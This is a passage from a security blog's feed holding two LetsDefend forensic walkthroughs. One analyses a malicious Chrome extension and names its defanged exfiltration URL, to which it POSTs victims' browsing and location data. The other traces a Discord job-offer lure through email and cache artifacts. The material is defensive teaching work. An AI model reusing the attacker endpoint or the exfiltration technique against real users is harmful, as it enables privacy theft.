sample, it is located in the same function within the extension. Good find!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1411px&#34; data-flex-grow=&#34;588&#34; height=&#34;136&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-chrome-extension-challenge-walkthrough/002b28deeef183b340b2f587bab29a27_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-what-is-the-full-url-the-attacker-uses-to-exfiltrate-thedata&#34;&gt;Question 5: What is the full URL the attacker uses to exfiltrate the data?&#xA;&lt;/h3&gt;&lt;p&gt;Now that we found the &lt;strong&gt;e&lt;/strong&gt; variable with the domain name value, let&amp;rsquo;s see if we can find the full URL. The &lt;em&gt;McAfee&lt;/em&gt; blog mentions that a victim&amp;rsquo;s data is exfiltrated with an &lt;em&gt;HTTP POST&lt;/em&gt; method to the domain so let&amp;rsquo;s search &lt;strong&gt;b0.js&lt;/strong&gt; for &lt;em&gt;POST&lt;/em&gt; this time:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;793px&#34; data-flex-grow=&#34;330&#34; height=&#34;363&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-chrome-extension-challenge-walkthrough/34cc0a7ccd18022ca1de3ba8dbb8ea34_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-chrome-extension-challenge-walkthrough/34cc0a7ccd18022ca1de3ba8dbb8ea34_MD5_hu_6787d30e613cf561.png 800w, https://stumblesec.com/posts/letsdefend-chrome-extension-challenge-walkthrough/34cc0a7ccd18022ca1de3ba8dbb8ea34_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Right above the &lt;em&gt;POST&lt;/em&gt; value, we can see that the URL that data is sent to is the &lt;strong&gt;e&lt;/strong&gt; variable we found in &lt;strong&gt;Question 4 _+ &amp;quot; # &amp;ldquo;&lt;/strong&gt;_/chrome/TrackingData&amp;quot;Putting this all together, we get:&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;hxxps://a1l4m[.]000webhostapp[.]com/chrome/TrackingData&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1371px&#34; data-flex-grow=&#34;571&#34; height=&#34;140&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-chrome-extension-challenge-walkthrough/2dcedaf4d84b5ec28caa8c3dd4736f64_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-6-what-is-the-function-name-responsible-for-getting-the-victims-location&#34;&gt;Question 6: What is the function name responsible for getting the victim&amp;rsquo;s location?&#xA;&lt;/h3&gt;&lt;p&gt;To locate the location function, we&amp;rsquo;ll take the path of least resistance and search for &amp;ldquo;location&amp;quot;within the code. The first thing we&amp;rsquo;ll find is the &lt;strong&gt;get_location&lt;/strong&gt; function which can be used to access &lt;em&gt;Geolocation&lt;/em&gt; data.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;379px&#34; data-flex-grow=&#34;158&#34; height=&#34;506&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-chrome-extension-challenge-walkthrough/e71aa77c54a888d70df4ebeb1a4b6496_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1432px&#34; data-flex-grow=&#34;597&#34; height=&#34;134&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-chrome-extension-challenge-walkthrough/7321c3ea513ee89a0e07dd937ea0948e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-7-what-is-the-variable-name-that-is-responsible-for-storing-the-zip-code-of-thevictim&#34;&gt;Question 7: What is the variable name that is responsible for storing the zip code of the victim?&#xA;&lt;/h3&gt;&lt;p&gt;Okay we made it to the last question! Just as we did in the previous question, let&amp;rsquo;s do a simple search within the code; this time we will look for &amp;quot; # &amp;ldquo;zip.&amp;rdquo;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;384px&#34; data-flex-grow=&#34;160&#34; height=&#34;499&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-chrome-extension-challenge-walkthrough/0677c31f1c13ad56366ee30cd2350ab3_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;We found some evidence of the variable in the code — that&amp;rsquo;s a great start but let&amp;rsquo;s refer to the &lt;em&gt;McAfee&lt;/em&gt; write-up one more time:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;The country, city, and zip are gathered using ip-api.com.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;372px&#34; data-flex-grow=&#34;155&#34; height=&#34;516&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-chrome-extension-challenge-walkthrough/4678defa8488986bc1a07bbcaeb9cccc_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now that we have validated the &lt;em&gt;JavaScript&lt;/em&gt; code on our victim&amp;rsquo;s machine and confirmed it with the &lt;em&gt;McAfee&lt;/em&gt; research, let&amp;rsquo;s submit the answer and wrap up this investigation!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1465px&#34; data-flex-grow=&#34;610&#34; height=&#34;131&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-chrome-extension-challenge-walkthrough/0339c3c1e5f84c7049756baff746b6a1_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;Nice job! We successfully navigated the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/malicious-chrome-extension&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Malicious Chrome Extension&lt;/strong&gt;&lt;/a&gt; by analyzing the victim&amp;rsquo;s &lt;em&gt;Chrome cache.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;We learned through our research that this malicious extension sends the victim&amp;rsquo;s browsing data to an external, attacker controlled domain — this creates a huge privacy risk! Having identified the source of the attack, it&amp;rsquo;s time to bring this investigation to a close.&lt;/p&gt;&#xA;&lt;p&gt;Thank you to &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt; for the opportunity to practice our &lt;em&gt;Chrome&lt;/em&gt; cache analysis skills! This challenge was a fantastic opportunity to see a practical example of how a malicious extension can compromise a user&amp;rsquo;s data and privacy. We also got valuable exposure to some tools like &lt;em&gt;DB Browser&lt;/em&gt; to strengthen our knowledge of the &lt;em&gt;Google Chrome&lt;/em&gt; local cache!&lt;/p&gt;&#xA;&lt;p&gt;Thank you so much for reading along and working through this investigation with me. I hope that you had as much fun as I did and learned something new, too!&lt;/p&gt;&#xA;&lt;p&gt;Until next week — stay curious!&lt;/p&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;SQLite Browser:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://sqlitebrowser.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://sqlitebrowser.org/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Foxtron Forensics Google Chrome History Location:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.foxtonforensics.com/browser-history-examiner/chrome-history-location&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.foxtonforensics.com/browser-history-examiner/chrome-history-location&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Popular Science — These 5 popular Chrome extensions are compromising your computer:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.popsci.com/technology/chrome-extension-installation-malware-netflix-party/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.popsci.com/technology/chrome-extension-installation-malware-netflix-party/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;McAfee — Malicious Cookie Stuffing Chrome Extensions with 1.4 Million Users:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.mcafee.com/blogs/other-blogs/mcafee-labs/malicious-cookie-stuffing-chrome-extensions-with-1-4-million-users/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.mcafee.com/blogs/other-blogs/mcafee-labs/malicious-cookie-stuffing-chrome-extensions-with-1-4-million-users/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Chrome Developers Manifest File Format:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://developer.chrome.com/docs/extensions/reference/manifest&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://developer.chrome.com/docs/extensions/reference/manifest&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Chrome Developers Messages.Json:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://developer.chrome.com/docs/extensions/how-to/ui/localization-message-formats&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://developer.chrome.com/docs/extensions/how-to/ui/localization-message-formats&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>LetsDefend — Discord Forensics Challenge Walkthrough</title>
            <link>https://stumblesec.com/posts/letsdefend-discord-forensics-challenge-walkthrough/</link>
            <pubDate>Thu, 30 May 2024 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/letsdefend-discord-forensics-challenge-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/letsdefend-discord-forensics-challenge-walkthrough/6f3ce73a7d46cd58af97283fb889ce2d_MD5.png&#34; alt=&#34;Featured image of post LetsDefend — Discord Forensics Challenge Walkthrough&#34; /&gt;&lt;h3 id=&#34;letsdefend--discord-forensics-challenge-walkthrough&#34;&gt;LetsDefend — Discord Forensics Challenge Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;endpoint-dfir-investigation-using-chromecacheview&#34;&gt;Endpoint DFIR Investigation using ChromeCacheView&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;320px&#34; data-flex-grow=&#34;133&#34; height=&#34;300&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-discord-forensics-challenge-walkthrough/6f3ce73a7d46cd58af97283fb889ce2d_MD5.png&#34; width=&#34;400&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/discord-forensics&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/discord-forensics&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Welcome to my weekly walkthrough! Have you ever wondered how an adversary could use &lt;em&gt;social engineering&lt;/em&gt; to lure a victim to &lt;em&gt;Discord&lt;/em&gt; and then compromise them with malware?&lt;/p&gt;&#xA;&lt;p&gt;We&amp;rsquo;re about to investigate how this can happen by working through the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/discord-forensics&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Discord Forensics Challenge&lt;/strong&gt;&lt;/a&gt; over on &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt;! This is an incident response challenge that has us defenders investigating an infected &lt;em&gt;Windows&lt;/em&gt; endpoint. To understand how the attack unfolded, we&amp;rsquo;ll need to review artifacts on the system like the &lt;em&gt;Discord&lt;/em&gt; cache and determine how the malware was delivered.&lt;/p&gt;&#xA;&lt;p&gt;So, whether you&amp;rsquo;re here to learn more about &lt;em&gt;Discord&lt;/em&gt; cache analysis, check out some new tools, or are just looking for a reference walkthrough for the &lt;a class=&#34;link&#34; href=&#34;http://Discord%20Forensics%20Challenge&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend Discord Forensics Challenge&lt;/strong&gt;&lt;/a&gt;, you&amp;rsquo;ve stumbled on the right blog.&lt;/p&gt;&#xA;&lt;p&gt;Now, let&amp;rsquo;s put on our detective hats and have some fun with forensics! Thanks for reading along!&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/discord-forensics&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/discord-forensics&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Our SIEM alerted that AV blocked malware from running on an employee&amp;rsquo;s machine. For further investigation, the incident response team quickly acquired an image of that machine. To find out how this malware got on the machine, their task is to find the entry point of the attack and trace the attacker.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;questions-1-2-3&#34;&gt;Questions 1, 2, &amp;amp; 3:&#xA;&lt;/h3&gt;&lt;h4 id=&#34;1-what-is-the-name-of-the-attacker&#34;&gt;1. What is the name of the attacker?&#xA;&lt;/h4&gt;&lt;h4 id=&#34;2-what-application-is-used-for-messaging&#34;&gt;2. What application is used for messaging?&#xA;&lt;/h4&gt;&lt;h4 id=&#34;3-what-is-the-attackers-username-on-the-application&#34;&gt;3. What is the attacker&amp;rsquo;s username on the application?&#xA;&lt;/h4&gt;&lt;p&gt;Let&amp;rsquo;s get comfortable with our virtual analysis environment and extract the challenge file from the &lt;em&gt;Challenge&lt;/em&gt; folder.&lt;/p&gt;&#xA;&lt;p&gt;While the archive is extracting, let&amp;rsquo;s also check out our &lt;em&gt;Tools&lt;/em&gt; folder which will help us get an idea of what utilities we have at our disposal to solve this challenge.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;530px&#34; data-flex-grow=&#34;220&#34; height=&#34;362&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-discord-forensics-challenge-walkthrough/a0afb68df539d6e8adb4f32dc4813c98_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Behold — our toolkit!&lt;/p&gt;&#xA;&lt;p&gt;We&amp;rsquo;ve got a couple of interesting utilities but the two mail clients seem out of place. Maybe Email is a good place to start the investigation? We will see if we can discover any email files that we can check through to understand if there was any &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1566/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;phishing&lt;/a&gt; involved for initial access.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s check the standard &lt;em&gt;Outlook&lt;/em&gt; and &lt;em&gt;Thunderbird&lt;/em&gt; data file locations to see if any locally saved items are available:&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Outlook:&lt;/strong&gt; &lt;em&gt;C:\Users\LetsDefend\Desktop\ChallengeFile\Discord\Administrator\AppData\Local\Microsoft\Outlook&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Thunderbird:&lt;/strong&gt; &lt;em&gt;C:\Users\LetsDefend\Desktop\ChallengeFile\Discord\Administrator\AppData\Roaming\Thunderbird\Profiles&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Unfortunately, there is nothing in either directory. But hope is not lost — what about the built-in &lt;em&gt;Windows Mail&lt;/em&gt; client? Maybe the victim was using that application? Let&amp;rsquo;s check!&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;C:\Users\LetsDefend\Desktop\ChallengeFile\Discord\Administrator\AppData\Local\Microsoft\Windows Live Mail&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;483px&#34; data-flex-grow=&#34;201&#34; height=&#34;388&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-discord-forensics-challenge-walkthrough/85e7471d22d49b260d946390fe56a5e8_MD5.png&#34; width=&#34;782&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;The Victim&amp;rsquo;s Windows Live Mail AppData Folder&lt;/p&gt;&#xA;&lt;p&gt;There we go! We have several emails to read through. Let&amp;rsquo;s launch &lt;em&gt;Thunderbird&lt;/em&gt; and open the 3 &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Job Offer&amp;quot;&#xA;messages.&lt;/p&gt;&#xA;&lt;p&gt;The sender&amp;rsquo;s FROM field name is &lt;strong&gt;abdlhameed&lt;/strong&gt;. We&amp;rsquo;ll use this information to answer &lt;strong&gt;Question 1.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Once we get to the last email in the thread, &lt;em&gt;Job Offer3.eml&lt;/em&gt;, we&amp;rsquo;ll find a couple of new pieces of information in the body of the email that we can use to answer &lt;strong&gt;Questions 2 &amp;amp; 3.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;581px&#34; data-flex-grow=&#34;242&#34; height=&#34;330&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-discord-forensics-challenge-walkthrough/be2a924288415074f676707256eb5fea_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;From the thread, we can see that the attacker is attempting to move the conversation from email to &lt;em&gt;Discord&lt;/em&gt;. If you aren&amp;rsquo;t familiar, &lt;em&gt;Discord&lt;/em&gt; is:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://en.wikipedia.org/wiki/Discord#cite_note-guilds-9&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;An instant messaging and VoIP social platform which allows communication through voice calls, video calls, text messaging, and media and files.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Pivoting to a legitimate web service is a common defense evasion technique (&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1102/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;MITRE ATT&amp;amp;CK T1102&lt;/a&gt;). Moving a victim to a service which is outside of the purview of the security team/tools and into attacker-controlled infrastructure can allow for unimpeded next steps in the attack.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;395px&#34; data-flex-grow=&#34;164&#34; height=&#34;485&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-discord-forensics-challenge-walkthrough/3c47eee553eb4c1604c21b82cdac4cb3_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-when-did-an-attacker-send-the-first-message-to-the-victim-on-this-application&#34;&gt;Question 4: When did an attacker send the first message to the victim on this application?&#xA;&lt;/h3&gt;&lt;p&gt;Now let&amp;rsquo;s really dig deep. Since we know that the victim was lured to contact the attacker on &lt;em&gt;Discord&lt;/em&gt; to discuss the &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;job offer,&amp;quot;&#xA;there must be some artifacts in the image that we can analyze.&lt;/p&gt;&#xA;&lt;p&gt;We&amp;rsquo;ll start by doing some research on &lt;em&gt;Google&lt;/em&gt; to see if we can gather any intelligence about what data &lt;em&gt;Discord&lt;/em&gt; stores on a local system. Fortunately, we stumble across a fantastic write up about artifacts stored within the &lt;em&gt;Discord&lt;/em&gt; cache folder!&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://abrignoni.blogspot.com/2018/03/finding-discord-app-chats-in-windows.html&#34;  title=&#34;https://abrignoni.blogspot.com/2018/03/finding-discord-app-chats-in-windows.html&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Finding Discord app chats in Windows.&lt;/strong&gt;&#xA;_Discord on the desktop In previous posts I discussed some ways of recovering and presenting Discord app chats from&amp;hellip;_abrignoni.blogspot.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://abrignoni.blogspot.com/2018/03/finding-discord-app-chats-in-windows.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;According to this researcher, &lt;em&gt;Discord&lt;/em&gt; data is structured very similarly to the &lt;em&gt;Google Chrome&lt;/em&gt; cache — this means that we can probably leverage &lt;strong&gt;&lt;em&gt;ChromeCacheView&lt;/em&gt;&lt;/strong&gt; from our &lt;em&gt;Tools&lt;/em&gt; folder to perform further analysis.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s load up &lt;em&gt;ChromeCacheView,&lt;/em&gt; press &lt;em&gt;File&lt;/em&gt;, then &lt;em&gt;Select Cache Folder&lt;/em&gt;. We&amp;rsquo;ll browse for the folder manually and point to the &lt;em&gt;Discord&lt;/em&gt; cache folder within the victim image:&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;C:\Users\LetsDefend\Desktop\ChallengeFile\Administrator\AppData\Roaming\discord\Cache&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;The is a lot of data here but we can narrow our search scope a bit. Press View &amp;gt; Use Quick Filter.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;457px&#34; data-flex-grow=&#34;190&#34; height=&#34;420&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-discord-forensics-challenge-walkthrough/35a4155aade3197c2d5731b41d6b8d3b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now we will search for &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;message&lt;/em&gt;&lt;/strong&gt;&amp;quot;&#xA;and see if we get any results&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;752px&#34; data-flex-grow=&#34;313&#34; height=&#34;255&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-discord-forensics-challenge-walkthrough/3e327448ee9375bc4afdc1a2feb6634b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Okay, now we&amp;rsquo;re getting somewhere! We can actually review the content of these &lt;em&gt;JSON&lt;/em&gt; files by right clicking the entry, selecting &amp;quot; # &amp;ldquo;Open selected cache file with&amp;hellip;,&amp;ldquo;and selecting a plain text editor like &lt;em&gt;Notepad.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;We&amp;rsquo;re interested in the contents of the private chat between the attacker and the victim. After reviewing the &lt;em&gt;data within the JSON&lt;/em&gt; files, let&amp;rsquo;s focus first on the one with the file size of 767.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1066px&#34; data-flex-grow=&#34;444&#34; height=&#34;180&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-discord-forensics-challenge-walkthrough/7778669ea5d0b4577bfd6752745ab8a3_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;While the data is initially difficult to comprehend, I have highlighted the snippet above with the general format of each message — they seem to start with &amp;quot; # &amp;ldquo;id&amp;quot;and end with &amp;quot; # &amp;ldquo;components.&amp;ldquo;In the excerpt above we can see the initial message on &lt;em&gt;Discord&lt;/em&gt; from the attacker to the victim including the timestamp!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1207px&#34; data-flex-grow=&#34;503&#34; height=&#34;159&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-discord-forensics-challenge-walkthrough/4036544bc141f36431b996097116681e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-the-attacker-has-sent-a-server-invitation-url-to-the-victim-what-is-the-fullurl&#34;&gt;Question 5: The attacker has sent a server invitation URL to the victim, what is the full URL?&#xA;&lt;/h3&gt;&lt;p&gt;Let&amp;rsquo;s continue to analyze the &lt;em&gt;JSON&lt;/em&gt; file we retrieved from &lt;em&gt;ChromeCacheView.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;In the same private chat that we analyzed in &lt;strong&gt;Question 4&lt;/strong&gt;, the attacker states that they are going to create and invite the victim to a &amp;quot; # &amp;ldquo;server&amp;rdquo;— this is &lt;em&gt;Discord&lt;/em&gt; shorthand for group chat/community on the platform. Then, the attacker provides a &lt;em&gt;Discord&lt;/em&gt; URL where the victim can join the server.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2461px&#34; data-flex-grow=&#34;1025&#34; height=&#34;78&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-discord-forensics-challenge-walkthrough/23dc9a1a76ca280ac93ebad3280e67dc_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1476px&#34; data-flex-grow=&#34;615&#34; height=&#34;130&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-discord-forensics-challenge-walkthrough/3557828818516d3aa916440610887f9e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-6-how-many-people-were-on-the-discordserver&#34;&gt;Question 6: How many people were on the Discord 